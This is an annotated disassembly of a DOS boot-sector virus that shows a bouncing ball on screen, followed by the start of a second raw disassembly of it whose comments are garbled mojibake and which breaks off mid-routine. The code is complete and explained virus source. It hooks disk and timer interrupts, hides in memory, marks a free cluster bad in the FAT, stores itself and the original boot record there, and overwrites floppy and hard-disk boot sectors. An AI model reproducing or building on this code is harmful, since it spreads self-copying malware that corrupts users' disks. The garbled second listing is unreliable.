MOV DS,AX
ASSUME DS:LOW_MEM_DATA
MOV AX,KB_MEM ;Get BIOS's count of available memory
SUB AX,2 ;Reserve 2k for virus's use
MOV KB_MEM,AX ;Save updated memory Kbyte count
;Shifting the memory Kbyte count left by 6 bits will yield the equivalent
;paragraph count. The result is the target segment value for relocation.
;For a 640k machine (numbers in parenthesis are decimal equivalents)
; Original BIOS memory count: 280h ( 640) Kbytes
; After virus subtracts 2k : 27Eh ( 638) Kbytes
; Shifting left by 6 bits : 9F80h (40832) segment value
MOV CL,06
SHL AX,CL ;This is same as multiplying by 64
MOV ES,AX ;Use result as segment value
MOV SI,BOOT_SECTOR_LOAD_OFS
XOR DI,DI ;Set up index regisetrs for move
MOV CX,256
REP MOVSW ;Copy 256 words (ie 512 bytes)
MOV Word Ptr CS:CONT_ADDR+7C02H,AX ;Patch JUmP instruction.
JMP CS:CONT_ADDR ;JUMP far into higher memory
CONT_ADDR LABEL DWORD
DW VIRUS_CONT
DW ?
VIRUS_CONT LABEL FAR ;Continuation address after move
PUSH CS
POP DS ;Set up DS register
ASSUME ES:VIRUS,DS:VIRUS
CALL @@LOAD_PART_2 ;try two times to load part 2
@@LOAD_PART_2:
XOR AH,AH
INT 13H ;Reset disk subsystem
AND Byte Ptr DRIVE,080H ;Force drive number to either A: or C:
MOV BX,PART2_SECTOR
;The sector read/write routine always uses a fixed offset of 0400h; so to get
;the data into the right place, the segment registers are adjusted instead.
;We want to load part 2 of the virus just after part 1, so the offset normally
;would be 0200h (ie, 0000h+0200h). However, since the offset MUST be 0400h,
;we will change ES to be 0200h BYTES lower then it normally would be.
;Segment registers are in paragraphs, so to subtract 0200h BYTES from ES
;only subtract 0020h.
;This gives us a effective offset calculation of 0400h - (20h * 10h) = 0200h
PUSH CS
POP AX ;See note above!!
SUB AX,20H
MOV ES,AX ;Move result into ES for read routine
CALL READ_SECTOR
MOV BX,PART2_SECTOR ;Sector after part 2 of the virus is
INC BX ; the original boot record of the disk
MOV AX,0780H ;Address calculation for sector read:
MOV ES,AX ; 0400h + (0780h * 10h) = 07C00h
CALL READ_SECTOR ;Seperate segment and offset, and
XOR AX,AX ; you get 0000:7C00.
MOV FLAGS,AL ;Clear all flags.
MOV DS,AX
ASSUME DS:LOW_MEM_DATA
MOV AX,INT13_OFS
MOV BX,INT13_SEG
MOV Word Ptr INT13_OFS,OFFSET NEW_INT13
MOV INT13_SEG,CS
PUSH CS
POP DS
ASSUME DS:VIRUS
MOV INT13_PATCH+1,AX ;Save original INT 13h vector
MOV INT13_PATCH+3,BX ; directly into instruction stream.
MOV DL,DRIVE
JMP BOOT_SECTOR_EXEC ;Load the O/S as normal
;***************************************
WRITE_SECTOR:
MOV AX,0301H
JMP SHORT VIRUS_DISK_SERV
READ_SECTOR:
MOV AX,0201H
VIRUS_DISK_SERV: ;Command is in AX, DOS sector # in BX
XCHG AX,BX ;Swap command code and sector number
;Now calculate the physical location of the sector number. DOS sectors are
;sequential, while the BIOS uses track, head, and sector numbers.
;Method:
; Starting with: AX=DOS sector #
; Dividing by sectors/track: AX=Sides*Tracks DL=BIOS sector# (after adding 1)
; Move sector number (in DL) to CH for later processing
; Dividing by sides on disk: AX=Track number DL=Head (Side) number
; Since the track # may be more than 255, we will combine the lower
; two bits in AH with the sector number in CH. First shift it left
; by 6 bits, to get it in the form tt000000, then OR it with CH.
; AX now has the following format (high to low bit seq.): TTssssss tttttttt
; ("t" is lower 8 bits of track#, "T" is high order 2 bits of track#,
; and "s" is bits of sector number. )
; Now copy AX into CX, and reverse the two halves of CX. Now the track
; and sector numbers are in their correct locations. (Bits: tttttttt TTssssss)
; The side number is still in DL, so copy it into DH for the BIOS.
ADD AX,HIDDEN_SECTORS ;Add number of hidden sectors
XOR DX,DX ; (Clear high word for 32 bit division)
DIV SEC_PER_TRK ;Divide by sectors/track to get
INC DL ; sector number in DX.
MOV CH,DL
XOR DX,DX
DIV SIDES_ON_DISK ;Divide what's left in AX by
MOV CL,06 ; # of sides to get a track number
SHL AH,CL ; in AX and the head number in DX.
OR AH,CH ;Do some bit shuffling to get the
MOV CX,AX ; pieces in order...
XCHG CH,CL
MOV DH,DL ; and we're done! (whew!)
MOV AX,BX ;Move command code back into AX
DISK_SERVICE:
MOV DL,DRIVE
MOV BX,0400H ;Offset is fixed. (See notes above)
INT 13H
JNC @@NO_ERR ;If successful, then return to caller normally
POP AX ;Otherwise, remove caller's return address
@@NO_ERR: ; and return one lever higher than should.
RET
NEW_INT13 LABEL FAR ;New INT 13h handler
PUSH DS
PUSH ES
PUSH AX
PUSH BX ;Save registers on stack
PUSH CX
PUSH DX
PUSH CS ;Establish our data segment registers
POP DS
PUSH CS
POP ES
ASSUME DS:VIRUS,ES:VIRUS
TEST Byte Ptr FLAGS,00000001B ;Was this INT invoked before?
JNZ @@END ;If so, ignore this call
CMP AH,02 ;Intercept read requests only
JNE @@END
CMP DRIVE,DL ;Check drive number...
MOV DRIVE,DL ; (also save it for next time)
JNZ @@INFECT ;...if not the same, infect immediately
XOR AH,AH
INT 1AH ;Get clock tick count
TEST DH,07FH ;Is it the right time to activate
JNZ @@UPDATE_TICKS ; the bouncing ball display?
TEST DL,0F0H
JNZ @@UPDATE_TICKS
PUSH DX ;Preserve clock tick count
CALL INST_BALL ;Install the bouncing ball routine,
POP DX ; if not established already.
@@UPDATE_TICKS:
MOV CX,DX ;Find elapsed time since last call
SUB DX,TICK_COUNT ; to this routine. Also save tick
MOV TICK_COUNT,CX ; count for next time.
SUB DX,36 ;If less than 2 seconds have passed,
JB @@END ; don't infect the disk.
@@INFECT:
OR Byte Ptr FLAGS,00000001B ;Set busy flag for INT 13h
PUSH SI
PUSH DI
CALL INFECT_A_DISK ;Attempt to infect target disk
POP DI
POP SI
AND Byte Ptr FLAGS,11111110B ;Clear busy flag.
@@END:
POP DX
POP CX
POP BX ;Restore caller's registers
POP AX
POP ES
POP DS
INT13_PATCH LABEL WORD
JMP DUMMY_ADDRESS ;Continue with original INT 13h handler
INFECT_A_DISK:
MOV AX,0201H ;Read one sector...
MOV DH,0
MOV CX,0001H ;...the first sector of a disk.
CALL DISK_SERVICE
;At this point, the sector we just read could be a normal boot record,
;or the partition table of a hard disk. If it's a boot record from a floppy,
;then proceed to infect it. Otherwise, we have to find the DOS partition
;of the hard disk and read the boot sector from that partition. We search
;the partition for a DOS-12 or DOS-16 entry, then, using the beginning
;drive/side/track/sector information, we read the first sector of the
;partition. That sector will be the required boot record, which we will
;prodeed to process.
TEST Byte Ptr DRIVE,80H ;Is the disk a Winchester?
JZ @@FLOPPY ;If so, then we got a partition table.
MOV SI,OFFSET PARTITION_TABLE
MOV CX,4
@@LP: ;Check O/S identification byte:
CMP Byte Ptr [SI+4],01 ; Is it a DOS-12 partition?
JE @@FOUND ; if so, then continue with infection.
CMP Byte Ptr [SI+4],04 ; Check for a DOS-16 partition.
JE @@FOUND
ADD SI,16 ;Not this one, go to next partition
LOOP @@LP
RET ;No suitable DOS partitions found, so exit.
@@FOUND:
MOV DX,[SI] ;Get drive number and side
MOV CX,[SI+2] ;Get track and sector numbers
MOV AX,0201H ;Read one sector...
CALL DISK_SERVICE
@@FLOPPY: ;A DOS boot record is at CS:0400
MOV SI,OFFSET _NOP_INST ;Copy BPB to virus' code
MOV DI,OFFSET NOP_INST ; space at ES:0000h
MOV CX,001CH
REP MOVSB
CMP Word Ptr _VIRUS_SIG,01357H ;Check virus' signature
JNE @@INFECT ;Infect if not the same
;It is not known what the following code does; it seems to soem sort of
;error recovery procedure, in case the first attempt at infection failed.
CMP Byte Ptr _CONTINUATION,0
JNB @@EXIT
MOV AX,_SYSTEM_SECTORS
MOV SYSTEM_SECTORS,AX
MOV SI,_PART2_SECTOR
JMP CONT_POINT
@@EXIT:
RET ;Exit now; cannot infect this disk
@@INFECT:
CMP Word Ptr _BYTES_PER_SEC,512 ;512 byte sectors only!
JNZ @@EXIT
CMP Byte Ptr _SEC_PER_CLU,2 ;At lease 2 sectors per cluster
JB @@EXIT
;The virus now computes the number of system use sectors and number of data
;sectors. System use sectors include the Boot Record, FAT copies, root
;directory, and any otherwise reserved sectors. What's left is the number
;of data sectors.
MOV CX,_RES_SECTORS ;Get # of reserved sectors
MOV AL,_FAT_COPIES ;Get # of FAT copies
CBW ;Convert to word in AX
MUL Word Ptr _SEC_PER_FAT ;Multiply by sectors/FAT
ADD CX,AX ;Add result to # reserved sec.
MOV AX,32 ;Each dir entry is 32 bytes
MUL Word Ptr _DIR_ENTRIES ;Get size of root dir in bytes
ADD AX,511 ;Round up when dividing...
MOV BX,512 ;Divide by 512 to get # sectors
DIV BX ; the root directory takes.
ADD CX,AX ;Add to # reserved sectors
MOV SYSTEM_SECTORS,CX ;(Overflow & remainder ignored)
;The virus now calculates the number of data sectors and clusters.
;If there are more than 4080 clusters, then assume we're using a 16 bit FAT.
MOV AX,TOTAL_SECTORS ;Get total # of sectors on disk
SUB AX,SYSTEM_SECTORS ;Subtract # of system sectors
MOV BL,SEC_PER_CLU ;Get # of sectors in a cluster
XOR DX,DX ;Clear high order word...
XOR BH,BH ; and byte for division
DIV BX ;Divide, to get # of clusters
INC AX ;Round up by one
MOV DI,AX ;Save for "find free" routine
AND Byte Ptr FLAGS,11111011B ;Clear "16 bit FAT" flag.
CMP AX,0FF0H ;Is # of clusters too high?
JBE @@1
OR Byte Ptr FLAGS,00000100B ;If so, set flag for 16 bit FAT
@@1:
JMP SHORT VIRUS_PART2_CONT ;JUMP to part II
ORG 01F3H
CUR_FAT_SECTOR DW ? ;Current FAT sector number; used during infection
SYSTEM_SECTORS DW ? ;Total number of reserved, FAT, and root DIR sectors
FLAGS DB ? ;Bit mapped flags
DRIVE DB ? ;Current drive number
PART2_SECTOR DW ? ;DOS sector number of 2nd part of virus
CONTUATION DB ? ;??? Continuation flag???
ORG 01FCH
VIRUS_SIG DW 01357H ;Virus' signature
BIOS_SIG DW 0AA55H ;Required signature of all boot sectors
;*************** Second sector of virus code starts here! ******************;
ORG 0200H
VIRUS_PART2_CONT:
;Now the search for a free cluster begins.
MOV SI,1 ;Counter of now many FAT sectors searched
MOV BX,RES_SECTORS ;Start with 1st FAT sector
DEC BX ;Sub 1, because we add 1 later
MOV CUR_FAT_SECTOR,BX
MOV Byte Ptr FAT_OFS_ADJ,-2 ;Set "cluster overhead"
;Note: DI has maximum cluster number, and SI has current cluster number.
@@NEXT_SECTOR:
INC Word Ptr CUR_FAT_SECTOR ;Add one to FAT sector #
MOV BX,CUR_FAT_SECTOR
ADD Byte Ptr FAT_OFS_ADJ,2
CALL READ_SECTOR ;Read the FAT sector
JMP SHORT @@CHECK ;Check for end of search
@@FIND_FREE:
;To get an entry for a specific cluster in a FAT table, multiply by 1.5 if
;it's a 12 bit FAT; otherwise multiply by 2. The virus uses the following:
;multiply the cluster number by 3 if it's a 12 bit FAT, otherwise by 4. Then
;divide by 2.
MOV AX,3
TEST Byte Ptr FLAGS,00000100B ;Check for 16 bit FAT
JZ @@0
INC AX ;Use 4 if FAT-16
@@0:
MUL SI ;Multiply by cluster number
SHR AX,1 ;Divide by 2
;The cluster adjustment value is needed to keep offsets within 512 bytes.
;Since each sector is 0200h bytes, we'll subtract 0200h bytes every time
;we calculate another FAT offset for each subsequent FAT sector.
SUB AH,FAT_OFS_ADJ ;Subtract cluster adjustment
MOV BX,AX
CMP BX,01FFH ;Is offset too high?
JNB @@NEXT_SECTOR ;If so, go to next sector
MOV DX,Word Ptr [BX+SECTOR_BUFFER] ;Get entry
;Once we have the cluster entry, we have to adjust it for a FAT-12 if
;necessary. On a FAT-16, we can use the vlaue directly.
;If it is a 12 bit FAT:
; Clear upper nibble if cluster number is even.
; Otherwise, throw out lower nibble and shift down by 4 bits.
TEST Byte Ptr FLAGS,00000100B ;12 bit FAT check
JNZ @@2
MOV CL,04 ;Prepare for shift
TEST SI,1 ;Cluster number odd/even check.
JZ @@1
SHR DX,CL ;Shift down by 1 nibble if odd.
@@1:
AND DH,0FH ;Clear highest nibble.
@@2:
;A free cluster has an entry of 0. Using the OR instruction, we check for
;an entry of 0.
OR DX,DX
JZ FREE_FOUND
@@CHECK: ;See if the maximun cluster number has been
INC SI ; reached. If so, then no free cluster has
CMP SI,DI ; been found, so we can't infect the disk
JBE @@FIND_FREE
RET
FREE_FOUND:
;Now that we found a free cluster, we'll set that cluster to "bad" status.
;As before, we test for a 12 bit FAT and adjust the bad cluster flag
;accordingly.
MOV DX,0FFF7H ;Bad cluster flag.
TEST Byte Ptr FLAGS,00000100B ;12 bit FAT check.
JNZ @@0
AND DH,0FH ;Clear upper nibble
MOV CL,04
TEST SI,1 ;Cluster number odd/even check.
JZ @@0
SHL DX,CL ;Shift by 4 bits if odd.
@@0:
OR Word Ptr [BX+SECTOR_BUFFER],DX ;Insert new value.
MOV BX,CUR_FAT_SECTOR ;Get FAT sector #
CALL WRITE_SECTOR ;Write modified FAT to disk
MOV AX,SI ;Get free cluster number to AX
SUB AX,2 ;Subtract cluster number basis
MOV BL,SEC_PER_CLU ;Get # of sectors/cluster
XOR BH,BH
MUL BX ;Multiply to get sector number
ADD AX,SYSTEM_SECTORS ;Add # system use sectors to
MOV SI,AX ; get DOS sector # on disk
XOR BX,BX ;Read the boot record from sector 0
CALL READ_SECTOR
MOV BX,SI ;Write it out to disk, in the second
INC BX ; sector of our "bad" cluster
CALL WRITE_SECTOR
CONT_POINT:
MOV BX,SI ;SI has first sector of free cluster
MOV PART2_SECTOR,SI ;Save it
PUSH CS
POP AX
SUB AX,20H ;Adjust segment value so ES:0400 will
MOV ES,AX ; be the same as CS:0200h
CALL WRITE_SECTOR ;Write part 2 of virus to disk
PUSH CS
POP AX
SUB AX,40H ;Now adjust ES so an offset of 0400h
MOV ES,AX ; will point to CS:0000h
XOR BX,BX ;Write the first part of the virus
CALL WRITE_SECTOR ; into the boot sector
RET ;DISK IS NOW INFECTED!!!!
ORG 02B0H
TICK_COUNT DW ?
FAT_OFS_ADJ DB ?
INST_BALL: ;Install bouncing ball routine
TEST Byte Ptr FLAGS,00000010B ;Installed already?
JNZ @@EXIT
OR Byte Ptr FLAGS,00000010B ;Set "installed" flag
XOR AX,AX
MOV DS,AX
ASSUME DS:LOW_MEM_DATA
MOV AX,INT8_OFS ;Get vector for INT 8h
MOV BX,INT8_SEG
MOV INT8_OFS,OFFSET NEW_INT8 ;Set vector to point at
MOV INT8_SEG,CS ; our routine.
PUSH CS
POP DS
ASSUME DS:VIRUS
MOV INT8_PATCH+1,AX ;Direcly patch original vector
MOV INT8_PATCH+3,BX ; contents into our code.
@@EXIT:
RET
NEW_INT8 LABEL FAR ;New INT 8 handler
PUSH DS
PUSH AX
PUSH BX ;Save affected registers
PUSH CX
PUSH DX
PUSH CS
POP DS
MOV AH,0FH ;Get video mode, page, and # of columns
INT 10H
MOV BL,AL ;Move mode number into BL
;If the video mode and page are the same as last time, then continue bouncing
;the ball. Otherwise, reset the ball position and increment, and start anew.
;Note: The active page number is in BH throughout this routine.
CMP BX,VIDEO_PARAMS ;Is mode and page same as last time?
JE @@SAME_MODE
MOV VIDEO_PARAMS,BX ;Save for futore reference (!!)
DEC AH ;Subtract 1 from number of columns
MOV SCRN_COLS,AH ; onscreen and save it.
MOV AH,1 ;Assume graphics mode.
CMP BL,7 ;Mono text mode?
JNE @@0
DEC AH ;Set flag to 0 if so.
@@0:
CMP BL,4 ;Is mode number below 4? (ie. 0-3)
JNB @@1
DEC AH
@@1:
MOV GRAF_MODE,AH ;Save flag value.
MOV Word Ptr BALL_POS,0101H ;Set XY position to 1,1
MOV Word Ptr BALL_INC,0101H ;Set XY increment to 1,1
MOV AH,03H
INT 10H ;Read cursor position into DX
PUSH DX ; and save it on the stack.
MOV DX,BALL_POS ;Get XY position of ball.
JMP SHORT UPDATE_BALL_POS ;Change increment if needed.
@@SAME_MODE: ;Enter here if mode not changed.
MOV AH,03H
INT 10H ;Get cursor position into DX
PUSH DX ; and save it.
MOV AH,02
MOV DX,BALL_POS
INT 10H ;Move to bouncing ball location.
MOV AX,ORG_CHAR ;Get original screen char & attribute.
CMP Byte Ptr GRAF_MODE,1 ;Check for graphics mode/
JNE @@3
MOV AX,8307H ;If graphics mode, use CHR$(7)
@@3: ;If not, then use original char
MOV BL,AH ;Move color value into BL
MOV CX,1 ;Write one character
MOV AH,09H ; with attributes and all
INT 10H ; into page in BH.
;The update routine will check for the ball's position on a screen border.
;If it's on a border, then negate the increment for that direction.
;(ie, if the ball was moving up, reverse it.) If the increment was not
;changed, then "randomly" change the X or Y increment based on the lower
;three bits of the previous screen character. This will make the ball
;appear to bounce around "randomly" on a screen filled with characters.
UPDATE_BALL_POS: ;Figure new ball position.
MOV CX,BALL_INC ;Get ball position increment.
CMP DH,0 ;Is is on the top row of the screen?
JNZ @@0
NEG CH
@@0:
CMP DH,24 ;Reached bottom edge?
JNZ @@1
NEG CH
@@1:
CMP DL,0 ;Reached left edge?
JNZ @@2
NEG CL
@@2:
CMP DL,SCRN_COLS ;Reached right edge?
JNZ @@3
NEG CL ;Should be familar by now!
@@3:
CMP CX,BALL_INC ;Is the increment the same as before?
JNE CALC_NEW_POS ;If not, apply the modified increment.
MOV AX,ORG_CHAR ;Do "ramdom" updating, as described
AND AL,00000111B ; in the note above.
CMP AL,00000011B
JNE @@4
NEG CH ;Reverse Y direction.
@@4:
CMP AL,00000101B
JNE CALC_NEW_POS
NEG CL ;Reverse X direction.
CALC_NEW_POS:
ADD DL,CL ;Add increments to ball position.
ADD DH,CH
MOV BALL_INC,CX ;Save ball position increment and
MOV BALL_POS,DX ; new ball position.
MOV AH,02H ;Move to ball position, which is
INT 10H ; in register DX.
MOV AH,08H ;Read the present screen char and
INT 10H ; attribute.
MOV ORG_CHAR,AX ;Save them for next time.
MOV BL,AH ;Use same attribute, if in text mode
CMP Byte Ptr GRAF_MODE,1
JNE @@0
MOV BL,83H ;Otherwise, use color # 83H
@@0:
MOV CX,0001H ;Write one character and attribute
MOV AX,0907H ; using CHR$(7) as the character.
INT 10H
POP DX ;Get old cursor position.
MOV AH,02H ;Move cursor back to that position.
INT 10H
POP DX
POP CX
POP BX ;Restore affected registers.
POP AX
POP DS
INT8_PATCH LABEL WORD
JMP DUMMY_ADDRESS ;Continue with original INT 8h handler.
ORG_CHAR DW ? ;Original screen character and attribute.
BALL_POS DW ? ;Bouncing ball's XY position.
BALL_INC DW ? ;Ball's XY increment
GRAF_MODE DB ? ;1 = graphics mode, otherwise it's a text mode.
VIDEO_PARAMS DW ? ;Mode number and page number.
SCRN_COLS DB ? ;Number of screen columns minus 1
VIRUS_LENGTH EQU $-START_HERE
DB 1024-VIRUS_LENGTH DUP (0) ;Pad out to 1024 bytes.
;******************** End of virus code! **************************************
ORG 0400H ;Work area for the virus
SECTOR_BUFFER LABEL NEAR ;This is a sector buffer!!
_JMP_INST DW ?
_NOP_INST DB ?
_OEM_ID DB 8 DUP(?)
_BYTES_PER_SEC DW ?
_SEC_PER_CLU DB ?
_RES_SECTORS DW ?
_FAT_COPIES DB ?
_DIR_ENTRIES DW ? ;This is the BPB of the target
_TOTAL_SECTORS DW ? ; disk during infection.
_MEDIA_DESCRIP DB ?
_SEC_PER_FAT DW ?
_SEC_PER_TRK DW ?
_SIDES_ON_DISK DW ?
_HIDDEN_SECTORS DW ?
ORG 05BEH
PARTITION_TABLE LABEL NEAR
ORG 05F3H
_CUR_FAT_SECTOR DW ?
_SYSTEM_SECTORS DW ?
_FLAGS DB ?
_DRIVE DB ?
_PART2_SECTOR DW ?
_CONTINUATION DB ?
ORG 05FCH
_VIRUS_SIG DW ?
_BIOS_SIG DW ? ;Should always be 0AA55h
VIRUS ENDS
END
;Original virus disassembly by James L. July 1991
;Clean version written by James L. July 1991
;# EOF #;
@@ -0,0 +1,606 @@
; Advanced Fullscreen Disassembler v2.11
; Copyright (C) by Rumen Gerasimov (GERISOFT), 1987, 1988
;
; First listing: without DATA segment
;
; Segment value: 0000, length: 0200
;
BIOS_SEG SEGMENT at 0h
org 0020h
D0020 dw 0
D0022 dw 0
INTERR8 label far
org 004Ch
D004C dw 0
D004E dw 0
org 0413h
D0413 dw 0
BIOS_SEG ends
BOOT_SEG SEGMENT at 7Ch
org 0
BOOT_PROCESS label far
BOOT_SEG ends
DISK_ROM SEGMENT at 0C800h
org 256h
C800_SEG label far
DISK_ROM ends
SEG0000 segment public para 'CODE'
assume CS:SEG0000, ds:SEG0000
;***********************************************************;
; š‚ˆ ‘…Š’Ž - €—€‹Ž € ‚ˆ“‘€ ;
; €Œˆ€ ‘… € boot sector € „ˆ‘Š€ ;
;***********************************************************;
; ’³ª  ¤°¥±º² ¥ 0000:7C00 ¨«¨ 07C0:0000
;
ORG 7C00h
JMP short L7C1E
D7C02 db 90h
db 'IBM 3.1'
DB 0
DB 2
D7C0D DB 2
D7C0E DW 1
DB 2
DB 70h
DB 0
D7C13 DW 2D0h
DB 0FDh
DB 2
DB 0
D7C18 DW 9 ;Sector per track - SecPTrk
D7C1A DW 2 ;Side per track - SidPTrk
D7C1C DW 0
L7C1E: XOR AX,AX
MOV SS,AX
MOV SP,7C00h
MOV DS,AX
assume ds:BIOS_SEG
MOV AX,Word Ptr D0413 ; ¬ «¿¢  BIOS MEMSIZE ± 2
SUB AX,0002h
MOV Word Ptr D0413,AX
assume ds:SEG0000
MOV CL,06h
SHL AX,CL
SUB AX,07C0h
MOV ES,AX ;ES: ±¥£¬¥­²  ­  § ¥²¨²¥ 2Š ¯ ¬¥²
MOV SI,7C00h
MOV DI,SI
MOV CX,0100h
REPZ MOVSW ;¬¥±²¨ ±¥ ² ¬: ¶¥«¨¿² ±¥ª²®°
db 08Eh,0C8h ;MOV CS,AX ;¯°¥¤ ¢  ³¯° ¢«¥­¨¥²® ­  ­®¢®²® ¬¿±²®
;CS:7C00 -  ¤°¥± ­  ­ · «®²® ­  ª®¤ 
PUSH CS
POP DS
CALL L7C4A
L7C4A: XOR AH,AH ;RESET ­  INT 13
INT 13h
AND Byte Ptr D7DF8,80h ;“±²°®©±²¢®²® ¥ ¯º°¢¨ ¤¨±ª (A: - floppy
; C: - hard
MOV BX,Word Ptr D7DF9 ;—¥²¥ ¯º°¢¨¿² ±¥ª²®°, ªº¤¥²® ¥ ¯°®¤º«-
PUSH CS ;¦¥­¨¥²®
POP AX
SUB AX,0020h
MOV ES,AX ;adres = (CS - 20h):8000h
CALL L7C9D
MOV BX,Word Ptr D7DF9 ;—¥²¥ ¢²®°¨¿² ±¥ª²®° ®² ¯°®¤º«¦¥­¨¥²®
INC BX ; (­®°¬ «­¨¿² BOOT)
MOV AX,0FFC0h ;adres = 0000:7C00
MOV ES,AX
CALL L7C9D
XOR AX,AX
MOV Byte Ptr D7DF7,AL ;—¨±²¨ ±² ²³±-¡ ©²  (§  ¯®±«¥)
MOV DS,AX
assume ds:BIOS_SEG
MOV AX,Word Ptr D004C ;‡ ª ·¢  ±¥ §  INT 13!
MOV BX,Word Ptr D004E
MOV Word Ptr D004C,offset NewINT13
MOV Word Ptr D004E,CS
PUSH CS
POP DS
assume ds:SEG0000
MOV Word Ptr D7D2A,AX ;‡ ¯ §¢  ±² °¨¿²  ¤°¥± ­  INT 13
MOV Word Ptr D7D2C,BX
MOV DL,Byte Ptr D7DF8 ;‚§¥¬  ³±²°®©±²¢®²® §  BOOT ¨ ±² °²¨° 
jmp BOOT_PROCESS ;­®°¬ «­¨¿² BOOT process
;================================================================;
; Žƒ€Œ€ ‡€ —…’…… (L7C9D) ˆ ‡€ˆ‘ (L7C98) ;
; € ‹Žƒˆ—…‘Šˆ ‘…Š’Ž Ž’ „ˆ‘Š ;
;----------------------------------------------------------------;
; BX - ±¥ª²®° ®²­®±­® ­ · «®²®, ª®©²® ²°¿¡¢  ¤  ±¥ ¯°®·¥²¥ ;
; ES:8000 -  ¤°¥±, ªº¤¥²® ¤  ±¥ ¯°®·¥²¥ ±¥ª²®°º² ;
; ;
; D7DF8 - ³±²°®©±²¢®, ®² ª®¥²® ·¥²¥ ;
; ;
;================================================================;
L7C98: MOV AX,0301h
JMP short L7CA0
L7C9D: MOV AX,0201h
L7CA0: XCHG BX,AX
ADD AX,Word Ptr D7C1C
XOR DX,DX
DIV Word Ptr D7C18 ;¯°¥¢°º¹  «®£¨·¥±ª¨¿² ±¥ª²®° ¢ AX
INC DL ; (0-7..) ¢º¢ Track, Side, Sector
MOV CH,DL ;¢ °¥£¨±²°¨²¥ CX, DX (§  INT 13)
XOR DX,DX
DIV Word Ptr D7C1A
MOV CL,06h
SHL AH,CL
OR AH,CH
MOV CX,AX
XCHG CH,CL
MOV DH,DL
MOV AX,BX
L7CC3: MOV DL,Byte Ptr D7DF8 ;¢§¥¬  ­®¬¥°  ­  ¤¨±ª  §  ·¥²¥­¥ (A:)
MOV BX,8000h
INT 13h
JNC L7CCF
POP AX ;±ª ¯¢  ±²¥ª  ¨ § £¨¢ ,  ª® ¨¬  I/O err
L7CCF: RET
;========================================================================;
; ’€‡ˆ Žƒ€Œ€ ‘… ‚š‡‚€ € ŒŸ‘’Ž’Ž € ˆ‘’ˆ‘ŠˆŸ’ INT 13 ;
;========================================================================;
NewINT13:
PUSH DS ;‡ ¯ §¢  °¥£¨±²°¨²¥
PUSH ES
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH CS ;ޝ° ¢¿ ±¢®¿ DS ¨ ES
POP DS
PUSH CS
POP ES
TEST Byte Ptr D7DF7,01h ;€ª® ¥ 1 - ¢º§¯°®¨§¢¥¦¤ ­¥ ­  ¢¨°³± ,
JNE L7D23 ; ®²¨¢  ¤  ¯¨¸¥ ±º± ±² ­¤ °². INT 13
CMP AH,02h ;—¥²¥­¥ ­  ±¥ª²®°?
JNE L7D23 ;¥, ¯°®¤º«¦ ¢  ±º± ±² ­¤ °²­¨¿² INT 13
CMP Byte Ptr D7DF8,DL ;“±²°®©±²¢®²® ±º¢¯ ¤  ± ¯®±«¥¤­®²®
MOV Byte Ptr D7DF8,DL ; ± ª®¥²® ¥ ° ¡®²¥­®
JNE L7D12 ;¥
XOR AH,AH ;‚§¥¬  ¢°¥¬¥²®
INT 1Ah
TEST DH,7Fh ;¡¨² 8000 ­  low order part = 1?
JNE L7D03 ;¤ , ¯°¥±ª · 
TEST DL,0F0h ;¡¨²®¢¥ 00F0 ­  low order part = 1?
JNE L7D03 ;¤ , ¯°¥±ª · 
;°®¿¢ : ª®£ ²® TIMER .and. 80F0h == 0
;°¨¡«¨§¨²¥«­® ­  1800 ±¥ª. = 30 ¬¨­.
PUSH DX
call L7EB3 ;°®¿¢  ­  ¢¨°³±  - ±ª ·  ¯® ¥ª° ­ 
POP DX
L7D03: MOV CX,DX ;ޝ°¥¤¥«¿ ²°¿¡¢  «¨ ¤  § ° §¿¢ 
SUB DX,Word Ptr D7EB0 ; (¯®¤µ®¤¿¹ ¬®¬¥­² ¢°¥¬¥)
MOV Word Ptr D7EB0,CX
SUB DX,+24h
JC L7D23
L7D12: OR Byte Ptr D7DF7,01h ;‘² °²¨°  ¢º§¯°®¨§¢¥¦¤ ­¥/§ ° §¿¢ ­¥
PUSH SI
PUSH DI
CALL L7D2E
POP DI
POP SI
AND Byte Ptr D7DF7,0FEh
L7D23: POP DX ;‚º§±² ­®¢¿¢  ¯®²°¥¡¨²¥«±ª¨²¥ °¥£¨±²°¨
POP CX
POP BX
POP AX
POP ES
POP DS
D7D2A = $+1
D7D2C = $+3
jmp c800_SEG ;‘² °²¨°  ¨±²¨­±ª¨¿² INT 13
;================================================================;
; ‚š‡Žˆ‡‚…†„€€ ‚ˆ“‘€ ˆ ‡€€‡Ÿ‚€Žƒ€Œ€ ;
;================================================================;
L7D2E: MOV AX,0201h ;—¥²¥ BOOT sector ®² ¤¨±ª 
MOV DH,00h ; BX = ?????????????????????? ªº¤¥, ¡¥!
MOV CX,0001h
CALL L7CC3
TEST Byte Ptr D7DF8,80h ;HARD DISK?
JE L7D63 ;­¥
;---- HARD DISK ----;
MOV SI,81BEh ;’º°±¨ DOS partition
MOV CX,0004h
L7D46: CMP Byte Ptr [SI+04h],01h
JE L7D58
CMP Byte Ptr [SI+04h],04h
JE L7D58
ADD SI,+10h
LOOP L7D46
RET ;­¿¬  DOS partition, ­¥ § ° §¿¢ 
;----  ¬¥°¥­ ¥ DOS partition ----;
L7D58: MOV DX,Word Ptr [SI]
MOV CX,Word Ptr [SI+02h]
MOV AX,0201h
CALL L7CC3 ;—¥²¥ BOOT sector ®² DOS partition
;---- ’³ª ¨¤¢   ª® ¥ ¤¨±ª¥² , ¯°®·¥²¥­ ¥ BOOT sector ----;
L7D63: MOV SI,8002h
MOV DI,offset D7C02
MOV CX,001Ch
REPZ MOVSB ;¬¥±²¨ BPB ² ¡«¨¶ ²  ®² BOOT sector
CMP Word Ptr D8000+01FCh,1357h ;‡ ° §¥­ «¨ ¥ ¤¨±ª ?
JNE L7D8B ;­¥
CMP Byte Ptr D8000+01FBh,00h ;Šº¤¥ «¨ ±®·¨ DS?
JNC L7D8A
;---- „¨±ª  ¥ § ° §¥­ ----; ;---- ’³ª ¬ © ­¿¬  ¤  ¤®©¤¥ ­¨ª®£ ? ----;
MOV AX,Word Ptr D8000+01F5h ;®¦  ° ¡®² ...
MOV Word Ptr D7DF5,AX
MOV SI,Word Ptr D8000+01F9h
jmp L7E92
L7D8A: RET
;-------------------
; „ˆ‘Š€ … … ‡€€‡…, Ž—‚€ ‡€€‡Ÿ‚€…’Ž
;
L7D8B: CMP Word Ptr D8000+000Bh,0200h ;’®¢  ­¥ ¥ ¨­²¥°¥±­®
JNE L7D8A
CMP Byte Ptr D8000+000Dh,02h
JC L7D8A
MOV CX,Word Ptr D8000+000Eh
